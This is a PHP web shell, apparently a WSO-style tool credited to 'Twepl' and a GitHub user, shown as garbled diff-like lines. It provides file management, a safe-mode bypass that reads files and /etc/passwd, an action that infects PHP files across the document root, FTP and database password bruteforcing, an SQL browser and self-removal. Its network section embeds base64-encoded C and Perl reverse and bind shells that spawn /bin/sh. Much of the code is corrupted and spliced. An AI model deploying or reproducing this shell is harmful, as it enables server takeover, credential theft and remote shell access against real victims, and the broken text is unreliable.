- $h = @opendir($c.$s);
- while (($f = @readdir($h)) !== false)
- if (($f != ".") and ($f != ".."))
- if (($f != ".") and ($f != ".."))
- copy_paste($c.$s.'/',$f, $d.$s.'/');
- }
- foreach($_COOKIE['f'] as $f)
- } elseif($_COOKIE['act'] == 'zip') {
- $zip = new ZipArchive();
- if ($zip->open($_POST['p2'], 1)) {
- foreach($_COOKIE['f'] as $f) {
- if($f == '..')
- continue;
- $zip->addFile($_COOKIE['c'].$f, $f);
- $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
- foreach ($iterator as $key=>$value) {
- }
- }
- }
- $zip->close();
- }
- }
- } elseif($_COOKIE['act'] == 'unzip') {
- $zip = new ZipArchive();
- foreach($_COOKIE['f'] as $f) {
- if($zip->open($_COOKIE['c'].$f)) {
- $zip->extractTo($GLOBALS['cwd']);
- $zip->close();
- }
- }
- }
- } elseif($_COOKIE['act'] == 'tar') {
- }
- break;
- default:
- prototype('act', $_POST['p1']);
- prototype('c', @$_POST['c']);
- }
- break;
- }
- }
- hardHeader();
- if($dirContent === false) { echo 'Can\'t open this folder!';hardFooter(); return; }
- global $sort;
- }
- echo "<script>
- function sa() {
- for(i=0;i<d.files.elements.length;i++)
- if(d.files.elements[i].type == 'checkbox')
- d.files.elements[i].checked = d.files.elements[0].checked;
- }
- </script>
- <table width='100%' class='main' cellspacing='sa()'llpadding='2'>
- <form name=files#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
- k='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
- for($i=0;$i<$n;$i++) {
- 'path'] . $dirContent[$i])),
- 't[$i],
- 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
- );
- }
- function cmp($a, $b) {
- return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
- else
- }
- $l = 0;
- foreach($files as $f) {
- echo '<tr'.($l?' class=l1':'').'# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
- td><a href=td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.u .'</td><td><a class="tooltip" data-tooltip="Rename" href="p" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
- $l = $l?0:1;
- }
- echo "<tr id=fak><td colspan=7>
- <input type=hidden name=ne value=''>
- <input typ $l = $l?0:1;
- }
- echo "<tr id=fak><td colspan=7>
- <input type=hidden name=ne value=''>
- <input type=hidden name=a value='FilesMan'>
- echo "<option value='paste'>↳ Paste</option>";
- echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
- echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
- echo "<option value='tar'f' tar.gz</option>";
- echo "</select></label>";
- echo "<input type='submit' value='submit' style='margin-left:10px'></td></tr></form></table></div>";
- hardFooter();
- }
- function actionStringTools() {
- if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
- if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
- if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
- ',
- 'ASCII to HEX' => 'ascii2hex',
- 'HEX to ASCII' => 'hex2ascii',
- 'HEX to DEC'BIN to HEX'',
- 'HEX to BIN'BIN to DEC'n',
- 'BIN to HEX' => 'binhex',
- 'String to lower case',
- );
- echo $_POST['p1']($_POST['p2']);
- $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
- exit;
- }
- hardHeader();
- echo '<h1>String conversions</h1><div class=content>';
- echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
- echo "($stringTools as $k => $v)
- echo "</select></label><input type='submit' value='submit')."> send using AJAX<br><textarea name='1 ".(@$_COOKIE[md5($_SERVER[' class=bigarea>".(empty($_POST['')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'display:none;':'')."$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
- }
- echo"</pre></div><br><h1>Search files:</h1><div class=content>
- <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
- <tr><td width='1%'>Text:</td><td><input type=' value='me='text' style='width:100%'></td></tr>
- <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
- <tr><td>Name:</td><td><input type=' value='me='filename' value='*' style='width:100%'></td></tr>
- <tr><td></td><td><input type='submit' value='submit'></td></tr>
- </table></form>";
- function hardRecursiveGlob($path) {
- $path.='/';
- foreach($paths as $▟) {
- if($path!=$▟)
- hardRecursiveGlob($▟);
- } els#' onclick='g(\"FilesTools\",null,\"".urlencode($▟)."\", \"view\",\"\")'>".htmlspecialchars($▟)."</a><br>";
- ef='}
- }
- }
- }
- if(@$_POST['p3'])
- hardRecursiveGlob($_POST['c']);
- echo "</div><br><h1>Search for hash:</h1>";
- }
- }
- }
- }
- if(@$_POST['p3'])
- hardRecursiveGlob($_POST['c']);
- <form method='post' target='_blank' name='find' <input type='text' name='hash' style='width:330px;'><br>
- <input type='hidden//md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\">
- ' value='md5decrypter.com' onclick=\"document.hf.action='https://www.md5decrypter.com/';document.hf.submit()\"><br>
- </form></div>";
- hardFooter();
- }
- function actionSafeMode() {
- //".$_POST['p2'], $temp)){
- tch($_POST['p1']) {
- case 1:
- break;
- case 2:
- $files = glob($_POST['p);
- } else
- break;
- case 2:
- ilename)
- echo $filename."\n";
- break;
- case 3:
- break;
- case 4:
- include($_POST['p2']);
- break;
- case 5:
- for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
- if ($uid)
- if ($stream == FALSE)
- break;
- echo imap_body($stream, 1);
- imap_close($stream);
- break;
- }
- $temp = ob_get_clean();
- hardHeader();
- echo '<h1>Safe mode bypass</h1><div class=content>';
- echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"o '<h1>Safe mode bypass</h1><div class=content>';
- echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
- if($temp)
- echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
- echo '</div>';
- hardFooter();
- }
- function actionLogout() {
- die("<div align='center'><div class='container'><div class='sky'><div class='shooting-stars' & BYE</div><div class='stars'></div><div class='stars1'></div><div class='stars2'></div><div class='shooting-stars'></div></div></div></div>
- <style>html{height:100%}html body{width:100%;height:100%;margin:0;font-family:Nunito,#020107 0,#201b46 100%)}.container .text{color:#fff;position:absolute;top:50%;right:50%;margin:-10px -75px 0 0;font-size:20px;font-family:Nunito, sans-serif;font-weight:700}.shooting-stars{z-index:10;width:5px;height:85px;border-top-left-radius:50%;border-top-right-radius:50%;position:absolute;bottom:0;right:0;background:linear-gradient(to top,rgba(255,255,255,0),#fff);animation:animShootingStar 10s linear infinite}@keyframes animStar{from{transform:translateY(0)}to{transform:translateY(-2560px) translateX(-2560px)}}@keyframes animShootingStar{from{transform:translateY(0) translateX(0) rotate(-45deg);opacity:1;height:5px}to{transform:translateY(-2560px) translateX(-2560px) rotate(-45deg);opacity:1;height:800px}}</style>
- y:1;height:5px}to{transform:translateY(-2560px) translateX(-2560px) rotate(-45deg);opacity:1;height:800px}}</style>
- <footer id='det' styl#ff007e; border-bottom: 1px solid #ff007e'><font face='Century Gothic' color='#ff0048' size='5'><font style='font-size: 10pt' face='Century Gothic'><font face='Tahoma' color='#005aff' size='2.5'><font color='#ff007e'><b> ©opy®ight : </b></font>
- e='Century Gothic'><font face='Tahoma' color='th='80%'><b>Twepl & <a href='https://github.com/mIcHyAmRaNe'>mIcHy</a>>
- <marquee scrollamount='3' scrolldelay='60' width='80%'><b>Twepl & <a href='https://github.com/mIcHyAmRaNe')
- if(@unlink(preg_replace('font></font></font></footer>");
- }
- function actionSelfRemove() {
- if($_POST['p1'] == 'yes')
- else
- if($_POST['p1'] # onclick="g(null,null,\'yes\')">Yes</a></div>';
- e</h1><div class=content>Really want to remove the shell?<br><a href=Infect</h1><div class=content>';
- if($_POST['p1'] hardFooter();
- }
- function actionInfect() {
- hardHeader();
- echo '<h1>Infect</h1><div class=content>';
- if($_POST['p1'] == 'infect') {
- $target=$_SERVER['DOCUMENT_ROOT'];
- function ListFiles($dir) {
- if($file != "." && $file != "..") {
- $inner_files = ListFiles($dir . "/" . $file);
- } else {
- }
- }
- }
- return $files;
- }
- }
- foreach (ListFiles($target) as $key=>$file){
- if($nFile == ".php" ){
- if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SE#a10705 size=14>$i</font>";
- able($file))){
- echo "$file<br>";
- $i++;
- }
- }
- }
- echo "<font color= echo 'Really want to infec }else{
- echo "<form met# onclick="g(null,null,\'infect\')">Yes</a></div>';
- </form>";
- echo 'Really want to infect the server? <a href= if( isset($_POST['proto']) ) {
- echo '<h1>Results< }
- hardFooter();
- }
- function actionBruteforce() {
- hardHeader();
- echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
- if( $_POST['proto'] == 'ftp' ) {
- function bruteForce($ip,$port,$login,$pass) {
- if(!$fp) return false;
- return $res;
- }
- function bruteForce($ip,$port,$login,$pass) {
- return $res;
- }
- } elseif( $_POST['proto'] == 'pgsql' ) {
- function bruteForce($ip,$port,$login,$pass) {
- $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
- return $res;
- }
- }
- $success = 0;
- $attempts = 0;
- if($_POST['type'] == 1) {
- foreach($temp as $line) {
- ++$attempts;
- if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
- $success++;
- }
- if(@$_POST['reverse']) {
- $tmp = "";
- $tmp .= $line[0][$i];
- ++$attempts;
- if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
- $success++;
- }
- }
- }
- } elseif($_POST['type'] == 2) {
- foreach($temp as $line) {
- ++$attempts;
- if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
- $success++;
- echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'iv><br>";
- }
- echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
- .'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
- .'<input type=hidden name=c value="'<input type=hidden name=charset value="' .'<input type=hidden name=a value="'">'mlspecialchars($_POST['a']).'">'
- .'<input type=hidden name=ne value="">'
- .'<span>Server:port</span></td>'
- .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
- .'<tr><td><span>Brute type</span></td>'
- .'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
- .'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
- .'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
- .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
- .'<td><input type=text name=login value="root"></td></tr>']).''<tr><td><span>Dictionary</span></td>'
- .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
- .'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
- echo '</div>';
- hardFooter();
- }
- function actionSql() {
- class DbClass {
- var $type;
- var $link;
- var $res;
- function __construct($type) {
- $this->type = $type;
- }
- function connect($host, $user, $pass, $dbname){
- switch($this->type) {
- break;
- case 'pgsql':
- if(!$host[1]) $host[1]=5432;
- if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
- break;
- }
- return false;
- }
- function selectdb($db) {
- switch($this->type) {
- break;
- }
- return false;
- }
- function query($str) {
- switch($this->type) {
- break;
- case 'pgsql':
- break;
- }
- return false;
- }
- function fetch() {
- switch($this->type) {
- break;
- case 'pgsql':
- break;
- }
- return false;
- }
- function listDbs() {
- switch($this->type) {
- return $this->query("SHOW databases");
- break;
- case 'pgsql':
- return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
- break;
- }
- return false;
- }
- function listTables() {
- switch($this->type) {
- return $this->res = $this->query('SHOW TABLES');
- break;
- case 'pgsql':
- return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
- break;
- }
- return false;
- }
- function error() {
- switch($this->type) {
- break;
- case 'pgsql':
- break;
- }
- return false;
- }
- function setCharset($str) {
- switch($this->type) {
- else
- $this->query('SET CHARSET '.$str);
- break;
- case 'pgsql':
- break;
- }
- return false;
- }
- function loadFile($str) {
- switch($this->type) {
- break;
- case 'pgsql':
- while($i=$this->fetch())
- $this->query('drop table hard2');
- break;
- }
- return false;
- }
- function dump($table, $fp = false) {
- switch($this->type) {
- $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
- $sql = $create[1].";\n";
- $this->query('SELECT * FROM `'.$table.'`');
- $i = 0;
- $head = true;
- while($▟ = $this->fetch()) {
- $sql = '';
- if($i % 1000 == 0) {
- $head = true;
- $sql = ";\n\n";
- }
- foreach($▟ as $k=>$v) {
- if($v === null)
- $▟[$k] = "NULL";
- $▟[$k] = $v;
- else
- $columns[] = "`".$k."`";
- }
- if($head) {
- $head = false;
- } else
- $i++;
- }
- if(!$head)
- break;
- case 'pgsql':
- $this->query('SELECT * FROM '.$table);
- while($▟ = $this->fetch()) {
- foreach($▟ as $k=>$v) {
- }
- }
- break;
- }
- return false;
- }
- };
- $db = new DbClass($_POST['type']);
- if((@$_POST['p2']);
- $db->selectdb($_POST['p1']!='select')) {
- $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
- $db->selectdb($_POST['sql_base']);
- switch($_POST['charset']) {
- case "Windows-1251": $db->setCharset('cp1251'); break;
- case "UTF-8": $db->setCharset('utf8'); break;
- case "KOI8-R": $db->setCharset('koi8r'); break;
- case "KOI8-U": $db->setCharset('koi8u'); break;
- case "cp866": $db->setCharset('cp866'); break;
- }
- foreach($_POST['tbl'] as $v)
- $db->dump($v);
- exit;
- foreach($_POST['tbl'] as $v)
- $db->dump($v, $fp);
- } else
- }
- hardHeader();
- echo "
- <h1>Sql browser</h1><div class=content>
- <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
- <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
- <input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''])?$_POST['e=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
- echo ">MySql</option><option value='pgsql' ". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."></label></td>
- <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'root'ocalhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
- <td><input type=text name=sql_login value=\"". (empty($_POST['])?'login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
- <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'sql_host'lspecialchars($_POST['sql_pass'sql_host'required></td><td>";
- $tmp = "<input type=text name=sql_base value=''>";
- if($db->connect($_POST['sql_host'cp1251'ST['sql_login'], $_POST['sql_pass'], $_POST['utf8'ase'])) {
- switch($_POST['charset']) {
- case "Windows-1251": $db->setCharset('cp1251'); break;
- case "UTF-8": $db->setCharset('utf8'); break;
- case "KOI8-R": $db->setCharset('koi8r'); break;
- case "KOI8-U": $db->setCharset('koi8u'); break;
- case "cp866": $db->setCharset('cp866'); break;
- }
- $db->listDbs();
- echo "<label><select name=sql_base><option value=''></option>";
- while($▟ = $db->fetch()) {
- echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'submit'.'</option>';
- }
- echo '</select></label>';
- }
- else echo $tmp;
- }else
- echo $tmp;
- echo "</td>
- <td><input type=submit value='submit' onclick='fs(d.sf);'></td>
- </tr>
- </table>
- <script>
- function fs(f) {
- if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
- if(f.p1) f.p1.value='';
- if(f.p2) f.p2.value='';
- if(f.p3) f.p3.value='';
- }
- }
- function st(t,l) {
- d.sf.p1.value = 'select';
- d.sf.p2.value = t;
- if(l && d.sf.p3) d.sf.p3.value = l;
- d.sf.submit();
- }
- function is() {
- for(i=0;i<d.sf.elements['tbl[]'].length;++i)
- d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
- }
- </script>";
- echo "<br/><table width=100% cellpadding=2 c#666;'><span>Tables:</span><br><br>";
- ql_base'])){
- $db->selectdb($_POST['sql_base']);
- echo "<tr><td width=1 style='border-top:2px solid $▟);
- if(!empty($_P $tbls_res = $db->listTables();
- while($▟ = $db->fetch($tbls_res)) {
- $n = $db->fetch($db->query('SELECT COUNT(*) as # onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
- bsp;<a href=ho "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submi }
- echo "<input type='checkbox' onclick='is();'dump.sql'type=submit value='Dump' onclick='docu#666;'>";
- $_POST['p3'] / 30);
- echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['T['] . "\", d.sf.p3.value)}</script><span>".$_POST['il($num['n'] / 30);
- e# <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
- d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page echo " <a href=# onclick='st(\"" . $_POST['p echo " of $pages";
- if($_POST['p3'] > 1)
- echo " <a href= echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . " if($_POST['p3'] < $pages)
- echo " <a href=')
- $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST[ $_POST['p3']--;
- if($_POST['type']=='pgsql')
- $_POST['.($_POST['LECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
- else
- $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
- echo "<br><br>";
- }
- $db->query(@$_POST['p2']);
- if($db->res !== false) {
- $title = false;
- echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
- $line = 1;
- while($▟ = $db->fetch()) pan class="br0">{
- if(!$title) {
- echo '<tr>';
- foreach($▟ as $key => $value)
- echo '<th>'.$key.'</th>';
- $title=true;
- echo '</tr><tr>';
- $line = 2;
- }
- echo '<tr class="l'.$line.'">';
- $line = $line==1?2:1;
- foreach($▟ as $key => $value) {
- if($value == null)
- echo '<td><i>null</i></td>';
- else
- }
- echo '</tr>';
- }
- echo '</table>';
- } else {
- }
- }
- echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
- echo "</textarea><br/><input type=submit value='Execute'>";
- echo "</td></tr>";
- }
- echo "</table></form><br/>";
- $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
- if($db->fetch())
- echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='p2'lsInp' type=text name=f><input type=submit value='submit'></form>";
- }
- if(@$_POST['p1'] == 'loadfile') {
- $file = $db->loadFile($_POST['p2']);
- }
- } else {
- }
- echo '</div>';
- hardFooter();
- }
- function actionNetwork() {
- hardHeader();
- $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
- $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
- $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
- $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
- echo "<h1>Network tools</h1><div class=content>
- <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
- <span>Bind port to /bin/sh</span><br/>
- Port: <input type='text' name='port' value='31337'> Password: <input type='text'submit'pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
- </form>
- <form name='nfp' onSubmit=' value=". $_SERVER['ng.value,this.server.value,this.port.value);return false;'>
